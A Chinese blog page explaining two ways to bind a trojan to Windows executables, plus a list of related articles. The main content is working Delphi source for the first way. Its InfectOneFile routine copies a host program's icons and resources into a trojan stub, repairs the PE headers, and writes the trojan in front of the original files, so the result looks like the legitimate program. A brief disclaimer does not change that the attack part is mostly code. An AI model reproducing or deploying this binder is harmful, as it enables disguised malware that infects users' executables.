文件捆绑感染(一)

PE感染逆向之修复 作 者: achillis这篇文章是在Servex.exe专杀工具写完之后的一些小小感想,关于PE感染和修复,  自某日不小心中了Serverx.exe病毒,电脑中大部分EXE文件被感染,系统盘system32目录下的病毒文件Serverx.exe总也杀不掉,因为即使删掉了,每次运行了被感染的程序之后还会再次生成。(关于此毒的详细资料,有兴趣的直接在百度搜索"Serverx.exe"或"愤怒天使" 阅读详情
 【摘要】
最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式 
第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马
然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法
这种方式有缺点也有优点
优点是: 
 可以捆绑任何程序
缺点是: 
 运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢
实现方法:( Demo下载)
如果不改变图标,实现方法是非常简单的。
用文件流的方式 把目标程序写在木马程序后面 
这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错
(目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标
和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)
请勿用于病毒传播,这里只贴出核心代码

【全文】

 

function Align(Size, AlignBase: integer): Integer;
begin
 if Size mod AlignBase <> 0 then
  Result := (Trunc(Size / AlignBase) + 1) * AlignBase
 else
  Result := Size;
end;

procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);
var
  I:integer;
  DosHeader: TImageDosHeader;
  NTHeader: TImageNtHeaders; {NtHeader}
  dRead: DWORD;
begin
   SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);
   ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);
    //非PE 退出
   if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;
   SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);
   ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);
    //非PE 退出
   if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;

   SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
   for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do
   begin
     ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);
     if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then
     begin
       SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);
       SetLength(AStream, ASectionHeader.SizeOfRawData);
       ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);
       Exit;
     end;
   end;

end;

function StripHighBit(L: Longint): DWORD;
begin
  Result := L and $7FFFFFFF;
end;

function HighBitSet(L: Longint): Boolean;
begin
  Result := (L and $80000000) <> 0;
end;

function IsDirectory(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;
begin
  Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
            BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);
end;

function ResourceDataEntry(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD):PImageResourceDataEntry;
begin
  Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
             BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);
end;

function FixRsrc(ResourceDirectory:PImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;
var
  I: Integer;
  ResourceDirectoryEntry:PImageResourceDirectoryEntry;
  Data: PImageResourceDataEntry;    
begin
  Result := True;
  ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)
                            + SizeOf(TImageResourceDirectory));
  for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do
  begin
      if IsDirectory(ResourceDirectoryEntry, BaseEntry) then
      begin
       {目录递归调用,把下级的资源列出来}
        FixRsrc(PImageResourceDirectory(StripHighBit(
                ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),
                BaseEntry, OldVA, NewVA);
      end
      else
      begin
        {资源}
        Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);
        //修正RVA
        Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA; 
      end;
      inc(ResourceDirectoryEntry);
  end;
end;

function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;
var  
  F,F1,F2: THandle;
  dRead: DWORD;
  fsDes, fsSrc, len, i, lastPos, oldSize: integer;
  pRsrc,LoadStream: PStream;
  DosHeader: PImageDosHeader;
  NTHeader: PImageNtHeaders; {NtHeader}
  pSH,pSectionHeader: PImageSectionHeader;
  SectionHeader: TImageSectionHeader;
  Section: PSections;
  fectStream : TResourceStream;
begin
  Result := '';
  pRsrc := nil;
  //打开需要感染的目标文件 
  F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  try
    if F = INVALID_HANDLE_VALUE then
    begin
      Result := '打开目标文件失败!';
      Exit;
    end;     
    //获取目标程序的资源文件
    GetRsrcStream(F, pRsrc, SectionHeader);
    //如果没有资源文件则退出
    if pRsrc = nil then
    begin
      Result := '读取目标文件资源失败!';
      Exit;
    end;

    //读取附加程序流
    fectStream := TResourceStream.Create(HInstance,'exe','exetype');
    try
      fsSrc := fectStream.Size;
      SetLength(LoadStream, fectStream.Size);
      fectStream.ReadBuffer(LoadStream[0], fectStream.Size);
    finally
      fectStream.Free;
    end;

   DosHeader := PImageDosHeader(LoadStream);
   NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);
   pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader
   Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项
   for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do
   begin
     //比较是否是指定的节名,如“.rsrc”
     if Strlicomp(@pSectionHeader^.Name, PChar('.rsrc'), IMAGE_SIZEOF_SHORT_NAME) = 0 then
     begin
       oldSize := pSectionHeader^.SizeOfRawData;
       //修正资源大小
       pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;
       pSectionHeader^.Misc := SectionHeader.Misc;  
       break; //找到了,则退出
     end;
     Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)
   end; 
    //修复资源
   if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),
                   SectionHeader.VirtualAddress,
                   pSectionHeader^.VirtualAddress) then Exit;    

   NTHeader^.OptionalHeader.DataDirectory[2].Size :=  SectionHeader.Misc.VirtualSize;
   NTHeader^.OptionalHeader.SizeOfImage :=
      + Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);

    F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
    try
      if F1 = INVALID_HANDLE_VALUE then
      begin
        Result := '创建新文件失败!';
        Exit;
      end;
      F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      try
        if F2 = INVALID_HANDLE_VALUE then
        begin
          Result := '读取目标文件失败!';
          Exit;
        end;

        fsDes := GetFileSize(F, nil);
        Section := PSections(@LoadStream[$70]);
        Section^.GUID := $58585858;
        Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);
        fsSrc := GetFileSize(F2, nil);
        Section^.FirstSize := fsSrc;
        Section^.LastOffset :=  Section^.FirstOffset + fsSrc;
        Section^.LastSize := fsDes;
        //写入头部文件
        WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);
        WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);
        repeat
          ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
        SetFilePointer(F, 0, nil, FILE_BEGIN);
        repeat
          ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
      finally
        CloseHandle(F2);
      end;
    finally
      CloseHandle(F1);
    end;
  finally
    CloseHandle(F);
    SetLength(LoadStream, 0);
    SetLength(pRsrc, 0);
  end;

end;


第二程度方式 就是将代码内嵌到目标程序。
也同样有缺点优点
优点是
 首先运行的是目标程序。然后再运行木马程序,让人根本无法察觉
缺点是
 只能感染部分程序

[系统安全] 十七.Windows PE病毒概念、分类及感染方式详解 作者前文介绍了PE文件格式,熟悉各种PE编辑查看工具,针对目标EXE程序新增对话框等;这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。这些基础性知识不仅和系统安全相关,同样与我们身边的APP、常用软件及操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了《软件安全》视频、安全网站和参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。 阅读详情

相关推荐

[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了XSS跨站脚本攻击案例,主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。基础性文章,希望对您有所帮助~

杨秀璋的专栏 1万+

文件捆绑感染方式解密

最近在研究病毒木马程序的感染和捆绑方式。   发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式   第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马   然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法   这种方式有缺点也有优点   优点是:   可以捆绑任何程序   缺点是:   运行时需要把目标程序给

怪蜀黍专栏 625

delphi文件捆绑

delphi文件捆绑 代码

捆绑感染 思路实现

这是 写捆绑感染时,随手写的思路记录,本来想写个详细的教程,但看目前情形是完成不了啦 做出的 捆绑器  效果蛮好的 难度不大 稍微记录一下 ...了解了这个思路 自己再做也不困难  捆绑部分 1复制自己到一个临时文件 2添加第一个要捆绑的文件到文件尾 3添加第二个要捆绑的文件到文件尾 5分别获取三个文件的长度名称和捆绑标记并写入文件尾部 

冷风 1070

一个很简洁的文件捆绑源代码

一个很简洁的文件捆绑源代码,将一个exe文件直接写入到另一个exe文件后面。

JPG,txt文件捆绑工具.exe

JPG txt 文件捆绑 捆绑工具,好用的

PE中节表IMAGE_SECTION_HEADER详(四)

typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_ SIZEOF_ SHORT_ NAME]; //ASCI字符串 可自定义只截取8个 union { DWORD PhysicalAddress; DWORD VirtualSize; } Mlisc; DWORD VirtualAddress;//在内存中的偏移地址,加上Im...

想喝奶茶的胖大海 1364

FFTW库安装与使用(3.3.5版本)

FFTW库安装与使用一、FFTW库介绍与下载二、FFTW库安装三、FFTW库测试 一、FFTW库介绍与下载   FFTW ( the Faster Fourier Transform in the West) 是一个快速计算离散傅里叶变换的标准C语言程序集,其由MIT的M.Frigo 和S. Johnson 开发。可计算一维或多维实和复数据以及任意规模的DFT,且运行速度比Eigen和opencv自带的FFT库函数快10倍以上。   下载链接:http://www.fftw.org/install/wind

Jhon_ranble的博客 2万+

一种文件捆绑型病毒研究

一种文件捆绑型病毒研究宁 轲(广西职业技术学院 广西 南宁 530226)      摘 要: 文件捆绑型计算机病毒具有隐蔽性高、传播速度快和破坏力强等特点,早些年出现的威金病毒和熊猫烧香病毒都属于文件捆绑型病毒。本文对文件捆绑型病毒的其中一种模式做了技术上的分析和研究,最后给出了一些识别和防范此类病毒的方法。     关键词: 计算机病毒;文件捆绑;传播机制     中图分类号:TP3 文献标...

weixin_34067049的博客 408

UOS系统手动添加1920x1080分辨率:xrandr命令详解与持久化配置

本文详细介绍了在UOS系统中使用xrandr命令手动添加1920x1080分辨率的方法。针对系统设置中缺失该选项的常见问题,文章提供了从识别显示设备、使用cvt生成模式、添加并切换分辨率,到通过修改.profile文件实现持久化配置的完整步骤。同时涵盖了虚拟机环境、设备名识别及排错等进阶内容,帮助用户彻底解决UOS分辨率配置难题。

weixin_29300931的博客 500

QCM6490平台DDR测试:从QDUTT配置到眼图分析的实战指南

本文详细介绍了QCM6490平台DDR测试的全流程,从QDUTT工具安装配置到眼图分析,提供了实战操作指南和常见问题解决方案。通过具体案例分享,帮助工程师掌握DDR测试技巧,确保内存稳定性,特别适用于物联网和边缘计算设备的开发调试。

weixin_33910191的博客 459

IMAGE_SECTION_HEADER

typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress;//不用关心,始终是NULL DWORD VirtualSize; //指出实际的、被使用的区块的大小...

dengjiatao9832的博客 254

MT6771 Android13 背光曲线调试与光感数据校准实战

本文详细介绍了MT6771平台在Android 13系统上进行背光曲线调试与光感数据校准的实战经验。针对高亮度环境下背光误调节问题,深入分析了光感数据上报机制,并提供了驱动层配置修改、背光曲线优化及常见问题解决方案,帮助开发者快速定位并解决类似问题。

moon9的博客 288

4-PE蠕虫感染(PE_Patcher、捆绑马)

由于 PE Header 的大小是经过 FileAlignment 对齐后的大小,所以 PE Header 的大小必定是 FileAlignment 的整数倍,PE Header 大小不足一个 FileAlignment 的大小则按一个 FileAlignment 大小算,因此 Section Header 后面必定剩余有一个小于 FileAlignment 的大小可以使用。与传统的计算机病毒不同,PE蠕虫感染病毒的最大特点是它会修改PE文件,写入自身的代码,从而感染这些文件。

weixin_40332490的博客 1012

Matlab路径文件pathdef.m可能为只读文件修改方法

找到MATLAB目录下的bin这个文件夹,直接改这个文件夹的权限(之前试过改pathdef.m的权限,不好用)如果到这里重新导入还是不行,从官网重新下载需要的安装包,可能是你的安装包出了问题。(Win11系统,matlab版本为2022b)编辑——添加——在输入对象名称来选择中输入everyone。重启matlab,以管理员身份运行。并修改其他已有的权限,都给它。

yqc1123的博客 1万+

基于深度学习YOLOv8的花卉检测与识别系统(附完整资源+PySide6界面+训练代码)

通过本项目,我们成功实现了基于YOLOv8的花卉检测与识别系统,涵盖了数据预处理、模型训练、推理与实时检测、以及GUI界面的实现。YOLOv8在花卉检测中的高效性和准确性为实际应用提供了强有力的支持。

斌擎科技 716

高级语言病毒是如何进行文件感染的?

 1,水乳交融式的感染          所谓水乳交融,是指蠕虫与宿主真正成为一体,而不是独立的两部分。这种感染方式在汇编写的病毒中很普遍,但在高级语言病毒中则少见,这主要是因为高级语言不像汇编那样可以随心所欲地控制代码。          因为高级语言的太“高级化”,使得我们的编程自由度受控!这种感染方式不太适合高级语言,所以这一部分我就不详细介绍了!对这方面感兴趣的可以

TMyesorno的专栏 1900

PyTorch深度学习实战(39)——少样本学习(Few-shot Learning)

小样本学习 (Few-shot Learning) 旨在解决在训练集中只有很少样本的情况下进行分类和推理的问题。在小样本学习中,我们希望通过利用已有的少量样本和先验知识来进行泛化,以便在面对新的、未见过的类别时能够做出准确的预测。这就要求模型能够从有限的训练样本中提取出有用的信息,并能够将这些信息应用到新类别的样本中去。在本节中,将介绍孪生、原型和关系网络的原理,并使用 PyTorch 实现孪生网络。

盼小辉丶的博客 1万+

文件捆绑感染方式编程

 近在研究病毒木马程序的感染和捆绑方式。 发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式  第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马 然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法 这种方式有缺点也有优点 优点是:   可以捆绑任何程序 缺点是:   运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序

广外女生官方BLOG 1027

8.9华为OD机试真题 新系统 - 查找最佳充电策略 (Java/Py/C/C++/Js/Go)

8.9华为OD机试真题 新系统 - 查找最佳充电策略 (Java/Py/C/C++/Js/Go)

算法大师! 1172

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

处理被维金病毒感染的EXE文件

维金病毒所谓的感染EXE文件不过是把自身和PE文件捆绑在一起,所以还原EXE文件也非常简单,只需要确定病毒的大小,把原来的EXE文件拷出来即可。当然,不能排除将来的变种改变感染方式的可能。我被感染的病毒大小是 $7daf(16进制),通过Hiew分析得到的。此病毒的开始4个字节转化成双字值等于 $454B5A4D (16进制)。下面给出还原被维金病毒感染的PE文件的Delphi原代码,

soft8848的专栏 2666

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

花式感染 Windows PE 病毒的一百种方法,你中过招吗?

作者 | 杨秀璋,责编 | 夕颜出品 | 优快云博客这是一篇基础性文章,将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。01PE病毒概念什么...

Python大本营的博客 2453

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

上一篇: 签入式捆绑
下一篇: 推荐新的HIPS software
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值